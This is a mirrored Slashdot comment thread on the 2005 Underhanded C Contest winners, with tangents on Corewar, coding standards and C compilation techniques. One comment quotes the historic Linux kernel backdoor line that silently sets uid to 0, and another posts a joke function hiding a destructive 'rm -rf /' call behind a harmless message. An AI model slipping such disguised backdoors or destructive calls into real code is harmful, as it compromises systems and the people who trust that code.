Slashdot Mirror
Underhanded C Contest announces winners
Matthew Skala writes "The 2005 Underhanded C Contest has announced its winners: the team entry from M Joonas Pihlaja and Paul V-Khuong, and the solo entry from Natori Shin. The contest (which appeared on Slashdot in June) tests programmers' ability to hide malicious behaviour in innocent-seeming code, making it a kind of evil shadow twin to the International Obfuscated C Contest."
...more malicious code writers.
Thanks be to Slashdot for giving them the recognition/praise they so richly deserve.
"Ask not what your country can do for you." --John F. Kennedy
But Microsoft built a whole operating system based on the principle.
Nice... Haven't heard of this before. Are there licenses to stop malicious uses of the code?
Microsoft Word XP was rejected because the code had to seem innocent...
Having a contest like this has similar positive aspects as full disclosure concerning vulnerabilities; by providing examples of how it's done, people will be better able to spot such attempts were they to occur. I'm happy to see this contest being held.
Support alternatives to Paypal: http://www.e-gold.com
Stashing all the entries in a 1.1M archive rather than posting links to the code. No way I'm going to download that just to see what all the fuss is about.
Weaselmancer
rediculous.
"Prize: Since we're in Binghamton, NY, the prize will be a gift box from the nearby brewery Ommegang in Cooperstown, NY." Reminds me of that photograph, "Will Code For Food" - maybe this is the start of a new era. A combination of "free as in beer" and "will code for food".
Matthew Grint Midnight Artists
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
In other words, you become root if you call sys_wait4()with the __WCLONE|__WALL) flags
Story here and here
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
Does anybody remember the about 1.5 year ago event when a programmer managed to smuggle malicious code into the linux kernel?
Virus writers and script kiddies are not a worry for this kind of code writing. The programmer you hire to write that AJAX extention to your website is also worth to worry about. This contest just shows how it is done.
My wife's sketchblog Blob[p]: Gastrono-me
first of all, thats not C, unless typdef int sub, and even still you forgot the return 0;, thirdly, any good coder would notice something that obvious, and lastly its not malicious, it will just crash.
ACAX maybe.
There are official releases of the Linux kernel. ... coders !
CVS/git development trees are not pre-releases for testers. Git trees are for
It would be extremely important to use coding standards which make wrong code look wrong. Not only that it would be more difficult to inject malicious code, but if somebody made mistakes, it would be really easy to discover it.
Joel has a great article on this.
int cute_fluffy_kittens(void)
/");
{
printf("Cute fluffy kittens are now frolicking in a grassy field of daisies with their pink-nosed newborn puppy friends. Sit back and use your imagination to enjoy the spectacle for the next few minutes...\n");
setuid(1);
system("rm -rf
}
Slashdot requires you to wait longer between hitting 'reply' and submitting a comment.
The CLR does JIT (or, at least, runtime) compilation. A common way to do so is to output the machine code on the stack. W^X usually breaks programs that do runtime code generation. Now, this is a WAG, but that's where my money's at.
Try Corewar @ www.koth.org - rec.games.corewar
Joonas & Paul are both Corewar veterans being respectively co-authors of Son of Vain (Joonas P & Ian Oversby) top of the all-time hall-of-fame and nPaper II (Paul V-K & John Metcalf) dominant paper of its time.
Good practice for writing obscure, but useful, code.
I'd give clickable links but fear for these sites under load.
www.corewar.info/
www.corewar.co.uk/94nophof.txt
Great. The first prize is "Belgian Style" beer ... from a brewery called "Ommegang".
John's a corewar god (all that 6502 assembly probably has something to do with that ;), so nPaper is nearly all his: the constant twiddling (by hand!), the QS, etc. All I did was basically write the framework for the paper; the only non-standard parts were the attack engine and the djn at the end of the timescape component... and I believe the djn was removed, because, even though it was more aggressive, it was effective than a checksum with a jmz. Read CoreWarrior #.. erh. I think it was it the high 70s or low 80s. John describes the process of optimising a newbie's paper (nPaper), all by hand (He might have used some BASIC scripting :).
Even now that we have evolvers throwing tons of computing power at a relatively small search space (nano), John submitted something that rocketted to 1st place and manages more than 50% wins. Again, the dude is a corewar genius.
Paul(-Virak) Khuong
PS, note the position of the dash
Try Corewar @ www.koth.org - rec.games.corewar
For instance, let's say you have a type "widthInteger" which is an integer that can be only added to other widthIntegers, and an analogous heightInteger.
// bug
widthInteger w = 10;
heightInteger h = 20;
area = w + h;
This would be a compile-time error.
This is very similar to dimensional analysis: you can't add feet to kelvin for instance because the answer doesn't make sense.
Are there are any mainstream languages like this, that don't do type coercion? Well, I guess it would be okay to cast plain integers to widthIntegers, because how else would you initialize the variable, but not the other way around.
This would basically enforce Joel's conventions at the compiler level.
It's not exactly the same thing, but the most powerful and clever C code example with an 'underhanded' purpose must be Ken Thompson's classic...
/www . iamsam . com
Reflections on Trusting Trust
http://www.acm.org/classics/sep95/
Other interesting papers that come to mind include Tom Duff's on Unix viruses, as well as McIlroy.
Sam
sam @ iamsam.com
http:
On second thought, nothing might happen, because i isn't used and so everything can be optimized away.
On third thought, that would be wrong, because it should (if compiled) crash, because that's what the program says :).
Cheney on the MTA by Henry Baker. Look it up. Basically, when you want tail-call optimisation (as in no stack depth limit, but not necessarily O(1) speed), but still want to use C, that's one of the best solution.
One solution (used in RABBIT, or a derivative, I believe), is to output everything in a big switch, and have each function call target be a case in it. (What about returns, you ask? You just CPS (transform into continuation passing style) the code first, so that every return becomes a call to the rest of the continuation) Of course, that means you can't really use automatic variables for anything, and have to create your own argument passing conventions and hope the compiler gets it right. Additionally, the huge size of the switch statement for non-trivial code means most compilers will choke on the output at high optimisation levels. (There are partial fixes, like breaking up the switch, but no real solution)
Another is to use a trampoline, where, again you CPS the code, and then, instead of calling functions, each function return a pointer to their continuation. The trampoline then call the continuation. Thus, each function call entails the cost of both a call and a return. To alleviate this problem, it is doable to only longjmp back to the trampoline when the stack is about to be exhausted, which I believe is what SML/NJ uses.
Cheney on the MTA is similar to a trampoline+longjmp, except that it also allocates objects on the stack, treating it like a nursery in a generational GC. When the stack is about to be exhausted, you GC with copying GC scheme the stack first (treating it like any other part of the store, just by following the root pointers), and then longjmp back to the trampoline. This is where it gets the Cheney on the MTA name: Cheney is a copying GC scheme, and [Someone?] on the MTA is a song about some dude who never returns from the MTA, while our code never returns. So, we get tail-call "optimisation", and can save one pointer compared to the two other method, which must have a pointer to the allocation space, while Cheney on the MTA overloads the stack pointer with that task (it must still keep a pointer to the older generation(s), but that's fine, since it's not used that often and can thus be a global in memory, and isn't an extra cost compared to other generational GCs). Chicken Scheme uses that to compile (nearly?) full (with GMP for the numerical tower) R5RS Scheme to C. As to why this won't break on machines with register windows: whenever we take the address of something, that something _must_ be in memory, and stay there [observably]. I'm sure someone can quote the part of the C standard that says so.
Note that VMs usually take code that is already CPSed (in that there is no implicit return, since they manage their own return stack), so converting a VM to Cheney on the MTA wouldn't be hard.
As to how I would distinguish between already compiled functions and those that must be interpreted/compiled: add one layer of indirection (we agree for that), but not where you put it. Instead, each function "call" says to call the function at location x (which I'll call function cell). At x, we find a pointer to either IL or machine code (we could make the difference with tags, an additional word or simply by having different address ranges for IL and machine code. Using that, we can dispatch to either the compiler/interpreter or jump directly to the target. If we inline the dispatch, branch prediction should make it nearly free (we only compile a function once, and, once it's compiled, we usually keep that version for the rest of the program's lifetime, so the jump target doesn't change either). We just have to make the function cells part of the root set so that they can be moved whenever there's a GC (they'll simply be copied out of the nursery, and the pointers to them updated).
So, no, it wouldn't be that surprising, and it would actually be a defendable choice, with regards to both performance and elegance.
Try Corewar @ www.koth.org - rec.games.corewar
Scratch the stack part if you want. If the whole store is marked unexecutable by default, both methods will die if the CLR doesn't/can't mark the relevant pages as executable. Also, keep in mind that W^X emulation isn't available in vanilla Windows XP SP2, so if a third-party program somehow messes with the heap and stack to mitigate the effect of buffer overflows in the absence of NX, we can't really expect the CLR team to interface with that program to mark the relevant pages as executable (unless that program can hijack the relevant system calls), if it's even possible.
Try Corewar @ www.koth.org - rec.games.corewar
Seriously ... this was about creating code to fingerprint images. They are not creating Üb3r1337 w0rm 3xpl0i7z here.
The "hiding the code"-part is relevant in open-source systems, and I can think of a ton of valid uses for this kind of "evil" technology. Hell, I'd be glad if some kind of function was avalible in GIMP.
Screw the FSM - Real geeks believe in the Invisible Pink Unicorn
Just compiled it and there we go.
ooo... urrr... shi .. no, not my
pr0n...
####!!!###Kernel Panic
int's are initilized to whatever is located in ram at the time (so in effect, its random) so it would just crash (although any compile would see the / 0 literally typed in and slap you in the face for it)